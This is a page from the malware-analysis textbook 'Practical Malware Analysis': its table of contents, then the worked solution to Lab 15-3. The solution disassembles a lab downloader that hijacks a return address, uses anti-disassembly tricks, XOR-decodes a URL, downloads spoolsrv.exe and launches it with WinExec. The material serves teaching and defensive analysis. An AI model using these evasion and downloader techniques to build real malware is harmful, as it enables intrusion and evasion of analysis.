Table of Contents for
Practical Malware Analysis

Version ebook / Retour

Cover image for bash Cookbook, 2nd Edition Practical Malware Analysis by Andrew Honig Published by No Starch Press, 2012
  1. Cover
  2. Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software
  3. Praise for Practical Malware Analysis
  4. Warning
  5. About the Authors
  6. About the Technical Reviewer
  7. About the Contributing Authors
  8. Foreword
  9. Acknowledgments
  10. Individual Thanks
  11. Introduction
  12. What Is Malware Analysis?
  13. Prerequisites
  14. Practical, Hands-On Learning
  15. What’s in the Book?
  16. 0. Malware Analysis Primer
  17. The Goals of Malware Analysis
  18. Malware Analysis Techniques
  19. Types of Malware
  20. General Rules for Malware Analysis
  21. I. Basic Analysis
  22. 1. Basic Static Techniques
  23. Antivirus Scanning: A Useful First Step
  24. Hashing: A Fingerprint for Malware
  25. Finding Strings
  26. Packed and Obfuscated Malware
  27. Portable Executable File Format
  28. Linked Libraries and Functions
  29. Static Analysis in Practice
  30. The PE File Headers and Sections
  31. Conclusion
  32. Labs
  33. 2. Malware Analysis in Virtual Machines
  34. The Structure of a Virtual Machine
  35. Creating Your Malware Analysis Machine
  36. Using Your Malware Analysis Machine
  37. The Risks of Using VMware for Malware Analysis
  38. Record/Replay: Running Your Computer in Reverse
  39. Conclusion
  40. 3. Basic Dynamic Analysis
  41. Sandboxes: The Quick-and-Dirty Approach
  42. Running Malware
  43. Monitoring with Process Monitor
  44. Viewing Processes with Process Explorer
  45. Comparing Registry Snapshots with Regshot
  46. Faking a Network
  47. Packet Sniffing with Wireshark
  48. Using INetSim
  49. Basic Dynamic Tools in Practice
  50. Conclusion
  51. Labs
  52. II. Advanced Static Analysis
  53. 4. A Crash Course in x86 Disassembly
  54. Levels of Abstraction
  55. Reverse-Engineering
  56. The x86 Architecture
  57. Conclusion
  58. 5. IDA Pro
  59. Loading an Executable
  60. The IDA Pro Interface
  61. Using Cross-References
  62. Analyzing Functions
  63. Using Graphing Options
  64. Enhancing Disassembly
  65. Extending IDA with Plug-ins
  66. Conclusion
  67. Labs
  68. 6. Recognizing C Code Constructs in Assembly
  69. Global vs. Local Variables
  70. Disassembling Arithmetic Operations
  71. Recognizing if Statements
  72. Recognizing Loops
  73. Understanding Function Call Conventions
  74. Analyzing switch Statements
  75. Disassembling Arrays
  76. Identifying Structs
  77. Analyzing Linked List Traversal
  78. Conclusion
  79. Labs
  80. 7. Analyzing Malicious Windows Programs
  81. The Windows API
  82. The Windows Registry
  83. Networking APIs
  84. Following Running Malware
  85. Kernel vs. User Mode
  86. The Native API
  87. Conclusion
  88. Labs
  89. III. Advanced Dynamic Analysis
  90. 8. Debugging
  91. Source-Level vs. Assembly-Level Debuggers
  92. Kernel vs. User-Mode Debugging
  93. Using a Debugger
  94. Exceptions
  95. Modifying Execution with a Debugger
  96. Modifying Program Execution in Practice
  97. Conclusion
  98. 9. OllyDbg
  99. Loading Malware
  100. The OllyDbg Interface
  101. Memory Map
  102. Viewing Threads and Stacks
  103. Executing Code
  104. Breakpoints
  105. Loading DLLs
  106. Tracing
  107. Exception Handling
  108. Patching
  109. Analyzing Shellcode
  110. Assistance Features
  111. Plug-ins
  112. Scriptable Debugging
  113. Conclusion
  114. Labs
  115. 10. Kernel Debugging with WinDbg
  116. Drivers and Kernel Code
  117. Setting Up Kernel Debugging
  118. Using WinDbg
  119. Microsoft Symbols
  120. Kernel Debugging in Practice
  121. Rootkits
  122. Loading Drivers
  123. Kernel Issues for Windows Vista, Windows 7, and x64 Versions
  124. Conclusion
  125. Labs
  126. IV. Malware Functionality
  127. 11. Malware Behavior
  128. Downloaders and Launchers
  129. Backdoors
  130. Credential Stealers
  131. Persistence Mechanisms
  132. Privilege Escalation
  133. Covering Its Tracks—User-Mode Rootkits
  134. Conclusion
  135. Labs
  136. 12. Covert Malware Launching
  137. Launchers
  138. Process Injection
  139. Process Replacement
  140. Hook Injection
  141. Detours
  142. APC Injection
  143. Conclusion
  144. Labs
  145. 13. Data Encoding
  146. The Goal of Analyzing Encoding Algorithms
  147. Simple Ciphers
  148. Common Cryptographic Algorithms
  149. Custom Encoding
  150. Decoding
  151. Conclusion
  152. Labs
  153. 14. Malware-Focused Network Signatures
  154. Network Countermeasures
  155. Safely Investigate an Attacker Online
  156. Content-Based Network Countermeasures
  157. Combining Dynamic and Static Analysis Techniques
  158. Understanding the Attacker’s Perspective
  159. Conclusion
  160. Labs
  161. V. Anti-Reverse-Engineering
  162. 15. Anti-Disassembly
  163. Understanding Anti-Disassembly
  164. Defeating Disassembly Algorithms
  165. Anti-Disassembly Techniques
  166. Obscuring Flow Control
  167. Thwarting Stack-Frame Analysis
  168. Conclusion
  169. Labs
  170. 16. Anti-Debugging
  171. Windows Debugger Detection
  172. Identifying Debugger Behavior
  173. Interfering with Debugger Functionality
  174. Debugger Vulnerabilities
  175. Conclusion
  176. Labs
  177. 17. Anti-Virtual Machine Techniques
  178. VMware Artifacts
  179. Vulnerable Instructions
  180. Tweaking Settings
  181. Escaping the Virtual Machine
  182. Conclusion
  183. Labs
  184. 18. Packers and Unpacking
  185. Packer Anatomy
  186. Identifying Packed Programs
  187. Unpacking Options
  188. Automated Unpacking
  189. Manual Unpacking
  190. Tips and Tricks for Common Packers
  191. Analyzing Without Fully Unpacking
  192. Packed DLLs
  193. Conclusion
  194. Labs
  195. VI. Special Topics
  196. 19. Shellcode Analysis
  197. Loading Shellcode for Analysis
  198. Position-Independent Code
  199. Identifying Execution Location
  200. Manual Symbol Resolution
  201. A Full Hello World Example
  202. Shellcode Encodings
  203. NOP Sleds
  204. Finding Shellcode
  205. Conclusion
  206. Labs
  207. 20. C++ Analysis
  208. Object-Oriented Programming
  209. Virtual vs. Nonvirtual Functions
  210. Creating and Destroying Objects
  211. Conclusion
  212. Labs
  213. 21. 64-Bit Malware
  214. Why 64-Bit Malware?
  215. Differences in x64 Architecture
  216. Windows 32-Bit on Windows 64-Bit
  217. 64-Bit Hints at Malware Functionality
  218. Conclusion
  219. Labs
  220. A. Important Windows Functions
  221. B. Tools for Malware Analysis
  222. C. Solutions to Labs
  223. Lab 1-1 Solutions
  224. Lab 1-2 Solutions
  225. Lab 1-3 Solutions
  226. Lab 1-4 Solutions
  227. Lab 3-1 Solutions
  228. Lab 3-2 Solutions
  229. Lab 3-3 Solutions
  230. Lab 3-4 Solutions
  231. Lab 5-1 Solutions
  232. Lab 6-1 Solutions
  233. Lab 6-2 Solutions
  234. Lab 6-3 Solutions
  235. Lab 6-4 Solutions
  236. Lab 7-1 Solutions
  237. Lab 7-2 Solutions
  238. Lab 7-3 Solutions
  239. Lab 9-1 Solutions
  240. Lab 9-2 Solutions
  241. Lab 9-3 Solutions
  242. Lab 10-1 Solutions
  243. Lab 10-2 Solutions
  244. Lab 10-3 Solutions
  245. Lab 11-1 Solutions
  246. Lab 11-2 Solutions
  247. Lab 11-3 Solutions
  248. Lab 12-1 Solutions
  249. Lab 12-2 Solutions
  250. Lab 12-3 Solutions
  251. Lab 12-4 Solutions
  252. Lab 13-1 Solutions
  253. Lab 13-2 Solutions
  254. Lab 13-3 Solutions
  255. Lab 14-1 Solutions
  256. Lab 14-2 Solutions
  257. Lab 14-3 Solutions
  258. Lab 15-1 Solutions
  259. Lab 15-2 Solutions
  260. Lab 15-3 Solutions
  261. Lab 16-1 Solutions
  262. Lab 16-2 Solutions
  263. Lab 16-3 Solutions
  264. Lab 17-1 Solutions
  265. Lab 17-2 Solutions
  266. Lab 17-3 Solutions
  267. Lab 18-1 Solutions
  268. Lab 18-2 Solutions
  269. Lab 18-3 Solutions
  270. Lab 18-4 Solutions
  271. Lab 18-5 Solutions
  272. Lab 19-1 Solutions
  273. Lab 19-2 Solutions
  274. Lab 19-3 Solutions
  275. Lab 20-1 Solutions
  276. Lab 20-2 Solutions
  277. Lab 20-3 Solutions
  278. Lab 21-1 Solutions
  279. Lab 21-2 Solutions
  280. Index
  281. Index
  282. Index
  283. Index
  284. Index
  285. Index
  286. Index
  287. Index
  288. Index
  289. Index
  290. Index
  291. Index
  292. Index
  293. Index
  294. Index
  295. Index
  296. Index
  297. Index
  298. Index
  299. Index
  300. Index
  301. Index
  302. Index
  303. Index
  304. Index
  305. Index
  306. Index
  307. Updates
  308. About the Authors
  309. Copyright

Lab 15-3 Solutions

Short Answers

  1. The malicious code is initially called by overwriting the return pointer from the main function.

  2. The malicious code downloads a file from a URL and launches it with WinExec.

  3. The URL used by the program is http://www.practicalmalwareanalysis.com/tt.html.

  4. The filename used by the program is spoolsrv.exe.

Detailed Analysis

Quickly examining this binary, it initially seems to be a process-listing tool. You might have also noticed a few suspicious imports, such as URLDownloadToFile and WinExec. If you scrolled near the bottom of the code in IDA Pro, just before the C runtime library code, you may have even noticed where these suspicious functions are called. This code does not seem to be a part of the program at all. There is no reference to it, and much of it isn’t even disassembled.

Scroll to the top of the main function and examine the lines of disassembly, as shown in Example C-133.

Example C-133. Calculating an address and loading it on the stack

0040100C                 mov     eax, 400000h 
00401011                 or      eax, 148Ch 
00401016                 mov     [ebp+4], eax 

This code builds the value 0x0040148C by ORing 0x400000 and 0x148C together and storing it in EAX. The code loads that value to some location on the stack relative to EBP at . You can press CTRL-K to bring up a stack frame view of the current function to see that offset 4 points to the return address. By overwriting the return address, when the main function ends, the orphaned code at 0x0040148C will execute instead of the normal process-termination code in the C runtime library.

The start of the code at 0x0040148C is not identified by IDA Pro as being part of a function, as shown in Example C-134.

Example C-134. The orphaned code assembled at 0x40148C

0040148C                 push    ebp
0040148D                 mov     ebp, esp
0040148F                 push    ebx
00401490                 push    esi
00401491                 push    edi
00401492                 xor     eax, eax
00401494                 jz      short near ptr loc_401496+1 
00401496
00401496 loc_401496:                             ; CODE XREF: 00401494j
00401496                 jmp     near ptr 4054D503h 

This orphaned code begins as a normal function, but then we encounter an anti-disassembly countermeasure in the form of a false conditional at . Here, the jz instruction will always jump. The target of the jump is 0x00401497, which is currently not shown in the disassembly because it is the second byte of a 5-byte jmp instruction shown at . Place your cursor on the jmp instruction at and press the D key to turn it into data. Then place your cursor on line 0x00401497 and press C to turn it into code.

Once 0x00401497 is disassembled correctly, the next block of code you will see is shown in Example C-135.

Example C-135. Building an exception handler and triggering an exception

00401497                 push    offset dword_4014C0
0040149C                 push    large dword ptr fs:0
004014A3                 mov     large fs:0, esp
004014AA                 xor     ecx, ecx
004014AC                 div     ecx 
004014AE                push    offset aForMoreInforma ; "For more information..."
004014B3                call    printf

The lines at and are placed there solely to pose as a decoy; they will never be executed. The first five lines of this fragment build an exception handler and trigger a divide-by-zero exception at . (The ECX will always be zero because of the xor ecx,ecx in the previous instruction.)

The location handling the exception is 0x004014C0, as shown in Example C-136.

Example C-136. The exception-handling code currently defined as data

004014C0 dword_4014C0    dd 824648Bh, 0A164h, 8B0000h, 0A364008Bh, 0
004014C0                                         ; DATA XREF: loc_401497o
004014D4                 dd 0EB08C483h, 0E848C0FFh, 0

IDA Pro did not recognize the data in Example C-136 as code, and has chosen instead to represent it as a series of DWORDs. Place your cursor on the first DWORD and press the C key to change this into code.

After successfully changing the data in Example C-136 to code, it is displayed as shown in Example C-137.

Example C-137. Properly disassembled exception-handling code

004014C0                 mov     esp, [esp+8]
004014C4                 mov     eax, large fs:0
004014CA                 mov     eax, [eax]
004014CC                 mov     eax, [eax]
004014CE                 mov     large fs:0, eax
004014D4                 add     esp, 8
004014D7                 jmp     short near ptr loc_4014D7+1 

The code in Example C-137 unlinks the structured exception handler and removes the exception record from the stack. The last line of the code is an anti-disassembly countermeasure in the form of an inward-pointing jmp instruction at . Convert the jmp to data by placing your cursor at 0x4014D7 and pressing the D key. Then select line 0x004014D8 and convert it to code with the C key.

After correcting the anti-disassembly countermeasure shown in Example C-137, we see that the rest of the code is properly disassembled with a call to URLDownloadToFileA, seen at in Example C-138.

Example C-138. Downloading a file from a URL

004014E6                 push    offset unk_403010
004014EB                 call    sub_401534 
004014F0                 add     esp, 4
004014F3                 push    offset unk_403040
004014F8                 call    sub_401534 
004014FD                 add     esp, 4
00401500                 push    0
00401502                 push    0
00401504                 push    offset unk_403040 
00401509                 push    offset unk_403010 
0040150E                 push    0
00401510                 call    URLDownloadToFileA 

The second and third arguments to URLDownloadToFileA are the URL and filename, respectively. It seems that the global memory locations unk_403010 and unk_403040 are being used at and , respectively. If you examine this memory with IDA Pro, the data does not appear to be ASCII text. These same locations are also passed to sub_401534 at and . We should examine this function to see if it decodes this data. Careful analysis of this function (not shown here) will find that it takes a pointer to a buffer and modifies it in place by XOR’ing each byte with the value 0xFF. If we XOR the data at unk_403010, we get the strings http://www.practicalmalwareanalysis.com/tt.html and spoolsrv.exe for unk_403040.

Immediately following the call to URLDownloadToFileA, we encounter one last anti-disassembly countermeasure, as shown in Example C-139. This is a false conditional in the form of a combination of jz and jnz together to create an unconditional jump, at and .

Example C-139. The final anti-disassembly technique encountered in the malware

00401515                 jz      short near ptr loc_401519+1 
00401517                 jnz     short near ptr loc_401519+1 
00401519
00401519 loc_401519:                             ; CODE XREF: 00401515j
00401519                                         ; 00401517j
00401519                 call    near ptr 40A81588h
0040151E                 xor     [eax+0], al
00401521                 call    ds:WinExec

The target of the jumps is 0x0040151A. Place your cursor on line 0x00401519 and press D to turn this line into data. Then select line 0x0040151A and press C to turn it into code. Continue this process until you are left with the code shown in Example C-140.

Example C-140. Using WinExec to launch the downloaded file

0040151A                 push    0
0040151C                 push    offset unk_403040
00401521                 call    ds:WinExec 
00401527                 push    0
00401529                 call    ds:ExitProcess

The call to WinExec at will launch whatever is specified by the buffer unk_403040, which will contain the value spoolsrv.exe. The program then terminates manually with ExitProcess.